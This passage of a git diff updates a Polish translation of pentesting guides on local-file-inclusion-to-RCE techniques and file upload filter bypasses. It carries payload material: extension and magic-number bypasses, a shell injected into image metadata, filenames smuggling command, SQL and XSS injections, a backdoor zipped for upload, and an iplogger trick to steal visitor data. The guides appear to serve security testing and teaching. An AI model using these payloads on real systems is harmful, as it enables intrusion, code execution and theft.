**sprawić, by include PHP nigdy się nie kończyło**? Po prostu przez dołączenie pliku **`/sys/kernel/security/apparmor/revision`** (**niestety niedostępny w kontenerach Docker...**). +Jak więc możesz **sprawić, by include PHP nigdy się nie kończyło**? Po prostu przez dołączenie pliku **`/sys/kernel/security/apparmor/revision`** (**niestety niedostępny w kontenerach Docker...**). Spróbuj to, po prostu wywołując: ```bash @@ -65,14 +65,14 @@ Zróbmy trochę matematyki: > [!WARNING] > Zauważ, że w poprzednim przykładzie **całkowicie DoSujemy innych klientów**! -Jeśli serwer Apache jest ulepszony i moglibyśmy nadużywać **4000 połączeń** (w połowie drogi do maksymalnej liczby). Moglibyśmy stworzyć `3999*20 = 79980` **plików** a **liczba** zostałaby **zmniejszona** do około **19.7h** lub **6.9h** (10h, 3.5h 50% szans). +Jeśli serwer Apache jest ulepszony i moglibyśmy nadużywać **4000 połączeń** (w połowie drogi do maksymalnej liczby). Moglibyśmy stworzyć `3999*20 = 79980` **plików** a **liczba** byłaby **zmniejszona** do około **19.7h** lub **6.9h** (10h, 3.5h 50% szans). ## PHP-FMP Jeśli zamiast używać regularnego modułu php dla apache do uruchamiania skryptów PHP, **strona internetowa używa** **PHP-FMP** (to poprawia wydajność strony internetowej, więc jest powszechnie spotykane), można zrobić coś innego, aby poprawić tę technikę. PHP-FMP pozwala na **konfigurację** **parametru** **`request_terminate_timeout`** w **`/etc/php//fpm/pool.d/www.conf`**.\ -Ten parametr wskazuje maksymalną liczbę sekund **kiedy** **żądanie do PHP musi zakończyć się** (domyślnie nieskończoność, ale **30s, jeśli parametr jest odkomentowany**). Gdy żądanie jest przetwarzane przez PHP przez wskazaną liczbę sekund, jest **zabijane**. Oznacza to, że jeśli żądanie przesyłało pliki tymczasowe, ponieważ **przetwarzanie php zostało zatrzymane**, te **pliki nie zostaną usunięte**. Dlatego, jeśli możesz sprawić, aby żądanie trwało ten czas, możesz **wygenerować tysiące plików tymczasowych**, które nie zostaną usunięte, co **przyspieszy proces ich znajdowania** i zmniejsza prawdopodobieństwo DoS dla platformy poprzez wykorzystanie wszystkich połączeń. +Ten parametr wskazuje maksymalną liczbę sekund **kiedy** **żądanie do PHP musi zakończyć się** (domyślnie nieskończoność, ale **30s, jeśli parametr jest odkomentowany**). Gdy żądanie jest przetwarzane przez PHP przez wskazaną liczbę sekund, jest **zabijane**. Oznacza to, że jeśli żądanie przesyłało pliki tymczasowe, ponieważ **przetwarzanie php zostało zatrzymane**, te **pliki nie zostaną usunięte**. Dlatego, jeśli możesz sprawić, aby żądanie trwało ten czas, możesz **generować tysiące plików tymczasowych**, które nie zostaną usunięte, co **przyspieszy proces ich znajdowania** i zmniejsza prawdopodobieństwo DoS dla platformy poprzez wykorzystanie wszystkich połączeń. Aby **unikać DoS**, załóżmy, że **atakujący będzie używał tylko 100 połączeń** jednocześnie, a maksymalny czas przetwarzania php przez **php-fmp** (`request_terminate_timeout`**)** wynosi **30s**. Dlatego liczba **plików tymczasowych**, które mogą być generowane **na sekundę** wynosi `100*20/30 = 66.67`. @@ -81,9 +81,9 @@ Następnie, aby wygenerować **10000 plików**, atakujący potrzebowałby: **`10 Następnie atakujący mógłby użyć tych **100 połączeń** do przeprowadzenia **brute-force**. \*\*\*\* Zakładając prędkość 300 req/s, czas potrzebny do wykorzystania tego jest następujący: - 56800235584 / 10000 / 300 / 3600 \~= **5.25 godzin** (50% szans w 2.63h) -- (z 100000 plików) 56800235584 / 100000 / 300 / 3600 \~= **0.525 godzin** (50% szans w 0.263h) +- (z 100000 plikami) 56800235584 / 100000 / 300 / 3600 \~= **0.525 godzin** (50% szans w 0.263h) -Tak, możliwe jest wygenerowanie 100000 plików tymczasowych na instancji EC2 średniej wielkości: +Tak, możliwe jest wygenerowanie 100000 plików tymczasowych na instancji średniej wielkości EC2:
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md b/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md index a9ff6b1bf..49f5e9792 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md @@ -1,4 +1,4 @@ -# LFI2RCE za pomocą plików tymczasowych Nginx +# LFI2RCE za pomocą tymczasowych plików Nginx {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index 959dcb935..b38c689b4 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -22,11 +22,11 @@ Pętla do generowania dowolnej treści to: 5. zdekoduj base64, aby uzyskać nasz kod php > [!WARNING] -> **Includes** zazwyczaj robią rzeczy takie jak **dodawanie ".php" na końcu** pliku, co może utrudnić wykorzystanie tego, ponieważ musisz znaleźć plik .php z treścią, która nie zniszczy exploita... lub **możesz po prostu użyć `php://temp` jako zasobu**, ponieważ może **mieć cokolwiek dodane do nazwy** (np. +".php") i nadal pozwoli to na działanie exploita! +> **Includes** zazwyczaj robią coś takiego jak **dodawanie ".php" na końcu** pliku, co może utrudnić wykorzystanie tego, ponieważ musisz znaleźć plik .php z treścią, która nie zniszczy exploita... lub **możesz po prostu użyć `php://temp` jako zasobu**, ponieważ może **mieć cokolwiek dodane do nazwy** (np. +".php") i nadal pozwoli to na działanie exploita! ## Jak dodać również sufiksy do wynikowych danych -[**Ten artykuł wyjaśnia**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) jak nadal możesz nadużywać filtrów PHP, aby dodać sufiksy do wynikowego ciągu. To jest świetne, jeśli potrzebujesz, aby wyjście miało jakiś specyficzny format (jak json lub może dodanie jakichś bajtów magicznych PNG) +[**Ten artykuł wyjaśnia**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) jak nadal możesz nadużywać filtrów PHP, aby dodać sufiksy do wynikowego ciągu. To jest świetne, jeśli potrzebujesz, aby wyjście miało jakiś konkretny format (jak json lub może dodanie jakichś bajtów magicznych PNG) ## Narzędzia automatyczne diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md index 4d46fb0dc..472748e5b 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md @@ -10,13 +10,13 @@ Musisz naprawić exploit (zmienić **=>** na **=>**). Aby to zrobić, możesz: ``` sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py ``` -Musisz również zmienić **ładunek** na początku exploita (na przykład na php-rev-shell), **REQ1** (to powinno wskazywać na stronę phpinfo i powinno zawierać padding, tzn.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), oraz **LFIREQ** (to powinno wskazywać na lukę LFI, tzn.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Sprawdź podwójne "%" podczas wykorzystywania znaku null) +Musisz również zmienić **payload** na początku exploita (na przykład na php-rev-shell), **REQ1** (to powinno wskazywać na stronę phpinfo i powinno zawierać padding, tzn.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), oraz **LFIREQ** (to powinno wskazywać na lukę LFI, tzn.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Sprawdź podwójne "%" podczas wykorzystywania znaku null) {% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %} ### Teoria -Jeśli przesyłanie plików jest dozwolone w PHP i próbujesz przesłać plik, plik ten jest przechowywany w tymczasowym katalogu, aż serwer zakończy przetwarzanie żądania, a następnie ten tymczasowy plik jest usuwany. +Jeśli przesyłanie plików jest dozwolone w PHP i próbujesz przesłać plik, ten plik jest przechowywany w tymczasowym katalogu, aż serwer zakończy przetwarzanie żądania, a następnie ten tymczasowy plik jest usuwany. Jeśli znajdziesz lukę LFI w serwerze WWW, możesz spróbować odgadnąć nazwę utworzonego pliku tymczasowego i wykorzystać RCE, uzyskując dostęp do pliku tymczasowego, zanim zostanie on usunięty. diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md b/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md index 6462d211c..3baae6f9e 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md @@ -1,4 +1,4 @@ -# LFI2RCE via Segmentation Fault +# LFI2RCE poprzez błąd segmentacji {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md b/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md index 24a3304be..f9299c998 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md @@ -4,10 +4,10 @@ ## **Przesyłanie plików PHP** -Gdy silnik **PHP** otrzymuje **żądanie POST** zawierające pliki sformatowane zgodnie z RFC 1867, generuje pliki tymczasowe do przechowywania przesłanych danych. Pliki te są kluczowe dla obsługi przesyłania plików w skryptach PHP. Funkcja `move_uploaded_file` musi być użyta do przeniesienia tych plików tymczasowych do pożądanej lokalizacji, jeśli potrzebne jest trwałe przechowywanie poza wykonaniem skryptu. Po zakończeniu wykonania PHP automatycznie usuwa wszelkie pozostałe pliki tymczasowe. +Gdy silnik **PHP** otrzymuje **żądanie POST** zawierające pliki sformatowane zgodnie z RFC 1867, generuje pliki tymczasowe do przechowywania przesłanych danych. Pliki te są kluczowe dla obsługi przesyłania plików w skryptach PHP. Funkcja `move_uploaded_file` musi być użyta do przeniesienia tych plików tymczasowych do pożądanej lokalizacji, jeśli potrzebne jest trwałe przechowywanie poza wykonaniem skryptu. Po wykonaniu PHP automatycznie usuwa wszelkie pozostałe pliki tymczasowe. > [!NOTE] -> **Ostrzeżenie o bezpieczeństwie: Atakujący, świadomi lokalizacji plików tymczasowych, mogą wykorzystać lukę w Local File Inclusion, aby wykonać kod, uzyskując dostęp do pliku podczas przesyłania.** +> **Alert bezpieczeństwa: Atakujący, świadomi lokalizacji plików tymczasowych, mogą wykorzystać lukę w Local File Inclusion, aby wykonać kod, uzyskując dostęp do pliku podczas przesyłania.** Wyzwanie związane z nieautoryzowanym dostępem polega na przewidywaniu nazwy pliku tymczasowego, która jest celowo losowa. @@ -15,7 +15,7 @@ Wyzwanie związane z nieautoryzowanym dostępem polega na przewidywaniu nazwy pl Na systemach Windows PHP generuje nazwy plików tymczasowych za pomocą funkcji `GetTempFileName`, co skutkuje wzorem takim jak `\
.TMP`. Warto zauważyć:
 
-- Domyślną ścieżką jest zazwyczaj `C:\Windows\Temp`.
+- Domyślna ścieżka to zazwyczaj `C:\Windows\Temp`.
 - Prefiks to zazwyczaj "php".
 - `` reprezentuje unikalną wartość szesnastkową. Kluczowe jest to, że z powodu ograniczenia funkcji używane są tylko dolne 16 bitów, co pozwala na maksymalnie 65,535 unikalnych nazw przy stałej ścieżce i prefiksie, co czyni brute force wykonalnym.
 
@@ -23,10 +23,10 @@ Ponadto proces wykorzystania jest uproszczony na systemach Windows. Ciekawostką
 ```
 http://site/vuln.php?inc=c:\windows\temp\php<<
 ```
-W niektórych sytuacjach może być wymagana bardziej specyficzna maska (taka jak `php1<<` lub `phpA<<`). Można systematycznie próbować tych masek, aby odkryć przesłany plik tymczasowy.
+W niektórych sytuacjach może być wymagana bardziej specyficzna maska (jak `php1<<` lub `phpA<<`). Można systematycznie próbować tych masek, aby odkryć przesłany plik tymczasowy.
 
 #### Eksploatacja w systemach GNU/Linux
 
-W systemach GNU/Linux losowość w nazewnictwie plików tymczasowych jest solidna, co sprawia, że nazwy są ani przewidywalne, ani podatne na ataki brute force. Dalsze szczegóły można znaleźć w dokumentacji odniesionej. 
+W systemach GNU/Linux losowość w nazewnictwie plików tymczasowych jest solidna, co sprawia, że nazwy są ani przewidywalne, ani podatne na ataki brute force. Dalsze szczegóły można znaleźć w odniesionej dokumentacji.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/file-inclusion/phar-deserialization.md b/src/pentesting-web/file-inclusion/phar-deserialization.md
index 127229ed3..0155a71bc 100644
--- a/src/pentesting-web/file-inclusion/phar-deserialization.md
+++ b/src/pentesting-web/file-inclusion/phar-deserialization.md
@@ -4,7 +4,7 @@
 
 
 
-**Pliki Phar** (PHP Archive) **zawierają metadane w zserializowanym formacie**, więc, gdy są analizowane, te **metadane** są **deserializowane** i możesz spróbować wykorzystać lukę **deserializacji** w kodzie **PHP**.
+**Pliki Phar** (PHP Archive) **zawierają metadane w zserializowanym formacie**, więc, gdy są analizowane, te **metadane** są **deserializowane** i możesz spróbować wykorzystać lukę w **deserializacji** w kodzie **PHP**.
 
 Najlepsze w tej cesze jest to, że ta deserializacja wystąpi nawet przy użyciu funkcji PHP, które nie wykonują kodu PHP, takich jak **file_get_contents(), fopen(), file() lub file_exists(), md5_file(), filemtime() lub filesize()**.
 
diff --git a/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md b/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md
index 9a45b5984..1afcf71e9 100644
--- a/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md
+++ b/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md
@@ -4,7 +4,7 @@
 
 ## Podstawowe informacje
 
-Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **nie masz sesji** i `session.auto_start` jest `Wyłączone`. Jeśli **`session.upload_progress.enabled`** jest **`Włączone`** i dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w **danych POST typu multipart**, PHP **włączy sesję dla Ciebie**.
+Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **nie masz sesji** i `session.auto_start` jest `Wyłączone`. Jeśli **`session.upload_progress.enabled`** jest **`Włączone`** i dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w **danych POST w formacie multipart**, PHP **włączy sesję dla Ciebie**.
 ```bash
 $ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
 $ ls -a /var/lib/php/sessions/
@@ -21,7 +21,7 @@ In the last example the session will contain the string blahblahblah
 Zauważ, że z **`PHP_SESSION_UPLOAD_PROGRESS`** możesz **kontrolować dane wewnątrz sesji**, więc jeśli dołączysz swój plik sesji, możesz dołączyć część, którą kontrolujesz (na przykład kod powłoki PHP).
 
 > [!NOTE]
-> Chociaż większość samouczków w Internecie zaleca ustawienie `session.upload_progress.cleanup` na `Off` w celach debugowania, domyślne ustawienie `session.upload_progress.cleanup` w PHP to nadal `On`. Oznacza to, że postęp przesyłania w sesji będzie czyszczony tak szybko, jak to możliwe. Tak więc będzie to **Race Condition**.
+> Chociaż większość samouczków w Internecie zaleca ustawienie `session.upload_progress.cleanup` na `Off` w celach debugowania, domyślne ustawienie `session.upload_progress.cleanup` w PHP wciąż wynosi `On`. Oznacza to, że postęp przesyłania w sesji będzie czyszczony tak szybko, jak to możliwe. Tak więc będzie to **Race Condition**.
 
 ### CTF
 
diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md
index 8cff69c3e..ca3d8d8c6 100644
--- a/src/pentesting-web/file-upload/README.md
+++ b/src/pentesting-web/file-upload/README.md
@@ -16,10 +16,10 @@ Inne przydatne rozszerzenia:
 - **Perl**: _.pl, .cgi_
 - **Erlang Yaws Web Server**: _.yaws_
 
-### Obejście kontroli rozszerzeń plików
+### Ominięcie sprawdzania rozszerzeń plików
 
 1. Jeśli to dotyczy, **sprawdź** **poprzednie rozszerzenia.** Przetestuj je również używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._
-2. _Sprawdź **dodanie ważnego rozszerzenia przed** rozszerzeniem wykonawczym (użyj również poprzednich rozszerzeń):_
+2. _Sprawdź **dodawanie ważnego rozszerzenia przed** rozszerzeniem wykonawczym (użyj również poprzednich rozszerzeń):_
 - _file.png.php_
 - _file.png.Php5_
 3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do **bruteforce** wszystkich **znaków ascii** i **Unicode**. (_Zauważ, że możesz również spróbować użyć **wcześniej** wspomnianych **rozszerzeń**_)
@@ -46,33 +46,33 @@ Inne przydatne rozszerzenia:
 - _file.php%00.png%00.jpg_
 6. Spróbuj umieścić **rozszerzenie exec przed ważnym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracyjnych Apache, gdzie wszystko z rozszerzeniem **.php**, ale **niekoniecznie kończące się na .php** będzie wykonywać kod):
 - _ex: file.php.png_
-7. Używanie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku, znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie, na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. “file.asax:.jpg”). Ten plik może być później edytowany za pomocą innych technik, takich jak użycie jego krótkiej nazwy. Wzór “**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie znaku kropki po tym wzorze może być również przydatne do obejścia dalszych ograniczeń (np. “file.asp::$data.”)
+7. Używanie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku, znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie, na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. “file.asax:.jpg”). Ten plik może być później edytowany przy użyciu innych technik, takich jak użycie jego krótkiej nazwy. Wzór “**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie znaku kropki po tym wzorze może być również przydatne do ominięcia dalszych ograniczeń (np. “file.asp::$data.”)
 8. Spróbuj złamać limity nazw plików. Ważne rozszerzenie zostaje obcięte. A złośliwy PHP zostaje. AAA<--SNIP-->AAA.php
 
 ```
 # Linux maksymalnie 255 bajtów
 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 tutaj i dodanie .png
-# Prześlij plik i sprawdź odpowiedź, ile znaków jest dozwolonych. Powiedzmy 236
+# Prześlij plik i sprawdź odpowiedź, ile znaków pozwala. Powiedzmy 236
 python -c 'print "A" * 232'
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 # Stwórz ładunek
 AAA<--SNIP 232 A-->AAA.php.png
 ```
 
-### Obejście Content-Type, Magic Number, Kompresji i Zmiany rozmiaru
+### Ominięcie Content-Type, Magic Number, Kompresji i Zmiany rozmiaru
 
-- Obejście kontroli **Content-Type** poprzez ustawienie **wartości** nagłówka **Content-Type** na: _image/png_, _text/plain_, application/octet-stream_
-1. Lista słów kluczowych Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
-- Obejście kontroli **magic number** poprzez dodanie na początku pliku **bajtów prawdziwego obrazu** (zdezorientowanie komendy _file_). Lub wprowadzenie powłoki wewnątrz **metadanych**:\
+- Omiń sprawdzanie **Content-Type** ustawiając **wartość** nagłówka **Content-Type** na: _image/png_, _text/plain_, application/octet-stream_
+1. Lista słów kluczowych **Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
+- Omiń sprawdzanie **magic number** dodając na początku pliku **bajty prawdziwego obrazu** (zdezorientuj polecenie _file_). Lub wprowadź powłokę wewnątrz **metadanych**:\
 `exiftool -Comment="' >> img.png`
-- Jeśli **kompresja jest dodawana do twojego obrazu**, na przykład przy użyciu niektórych standardowych bibliotek PHP, takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), wcześniejsze techniki nie będą przydatne. Jednak możesz użyć **PLTE chunk** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
+- Jeśli **kompresja jest dodawana do twojego obrazu**, na przykład przy użyciu niektórych standardowych bibliotek PHP, takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), wcześniejsze techniki nie będą przydatne. Możesz jednak użyć **PLTE chunk** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
 - [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
-- Strona internetowa może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Jednak możesz użyć **IDAT chunk** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
+- Strona internetowa może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **IDAT chunk** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
 - [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
-- Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, jest użycie funkcji PHP-GD `thumbnailImage`. Jednak możesz użyć **tEXt chunk** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
+- Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, jest użycie funkcji PHP-GD `thumbnailImage`. Możesz jednak użyć **tEXt chunk** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
 - [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 
 ### Inne sztuczki do sprawdzenia
@@ -107,7 +107,7 @@ Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE, ponie
 
 Aby szczegółowo zbadać tę lukę, sprawdź oryginalne badania: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 
-Luki w zdalnym wykonywaniu poleceń (RCE) mogą być wykorzystywane w serwerach uWSGI, jeśli ma się możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magicznych" zmiennych, miejsc i operatorów. Szczególnie potężny jest operator '@', używany jako `@(filename)`, zaprojektowany do włączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na odczyt danych z standardowego wyjścia procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonywanie poleceń lub dowolne zapisywanie/odczytywanie plików, gdy plik konfiguracyjny `.ini` jest przetwarzany.
+Luki w zdalnym wykonywaniu poleceń (RCE) mogą być wykorzystywane na serwerach uWSGI, jeśli ma się możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magicznych" zmiennych, miejsc i operatorów. Szczególnie potężny jest operator '@', używany jako `@(filename)`, zaprojektowany do włączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na odczyt danych z standardowego wyjścia procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonywanie poleceń lub dowolne zapisywanie/odczytywanie plików, gdy plik konfiguracyjny `.ini` jest przetwarzany.
 
 Rozważ następujący przykład szkodliwego pliku `uwsgi.ini`, pokazującego różne schematy:
 ```ini
@@ -161,21 +161,21 @@ Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kont
 
 ## Narzędzia
 
-- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) to potężne narzędzie zaprojektowane, aby wspierać Pentesterów i Łowców Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki bug bounty, aby uprościć proces identyfikacji i wykorzystywania luk, zapewniając dokładne oceny aplikacji webowych.
+- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) to potężne narzędzie zaprojektowane, aby wspierać Pentesterów i Łowców Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki bug bounty, aby uprościć proces identyfikacji i wykorzystywania luk, zapewniając dokładne oceny aplikacji internetowych.
 
 ## Od przesyłania plików do innych luk
 
 - Ustaw **filename** na `../../../tmp/lol.png` i spróbuj osiągnąć **przechodzenie ścieżki**
 - Ustaw **filename** na `sleep(10)-- -.jpg` i możesz być w stanie osiągnąć **SQL injection**
 - Ustaw **filename** na ``, aby osiągnąć XSS
-- Ustaw **filename** na `; sleep 10;`, aby przetestować niektóre wstrzyknięcia poleceń (więcej [sztuczek wstrzyknięć poleceń tutaj](../command-injection.md))
+- Ustaw **filename** na `; sleep 10;`, aby przetestować niektóre wstrzyknięcia poleceń (więcej [sztuczek wstrzyknięcia poleceń tutaj](../command-injection.md))
 - [**XSS** w przesyłaniu plików obrazów (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
 - **JS** plik **upload** + **XSS** = [**wykorzystanie Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
 - [**XXE w przesyłaniu svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
 - [**Open Redirect** poprzez przesyłanie pliku svg](../open-redirect.md#open-redirect-uploading-svg-files)
 - Spróbuj **różnych ładunków svg** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
 - [Słynna luka **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
-- Jeśli możesz **wskazać serwerowi webowemu, aby pobrał obraz z URL**, możesz spróbować wykorzystać [SSRF](../ssrf-server-side-request-forgery/). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje od każdego odwiedzającego**.
+- Jeśli możesz **wskazać serwerowi internetowemu, aby pobrał obraz z URL**, możesz spróbować wykorzystać [SSRF](../ssrf-server-side-request-forgery/). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje o każdym odwiedzającym**.
 - [**XXE i CORS** obejście z przesyłaniem PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
 - Specjalnie przygotowane PDF-y do XSS: [następująca strona przedstawia, jak **wstrzyknąć dane PDF, aby uzyskać wykonanie JS**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz przesyłać PDF-y, możesz przygotować PDF, który wykona dowolny JS zgodnie z podanymi wskazówkami.
 - Prześlij zawartość \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)), aby sprawdzić, czy serwer ma jakikolwiek **antywirus**
@@ -191,14 +191,14 @@ Oto lista 10 rzeczy, które możesz osiągnąć poprzez przesyłanie (z [tutaj](
 6. **AVI**: LFI / SSRF
 7. **HTML / JS** : wstrzyknięcie HTML / XSS / otwarte przekierowanie
 8. **PNG / JPEG**: atak pixel flood (DoS)
-9. **ZIP**: RCE poprzez LFI / DoS
+9. **ZIP**: RCE przez LFI / DoS
 10. **PDF / PPTX**: SSRF / BLIND XXE
 
 #### Rozszerzenie Burp
 
 {% embed url="https://github.com/portswigger/upload-scanner" %}
 
-## Magic Header Bytes
+## Magiczne bajty nagłówka
 
 - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
 - **JPG**: `"\xff\xd8\xff"`
@@ -269,7 +269,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
 root@s2crew:/tmp# zip cmd.zip xx*.php
 ```
 
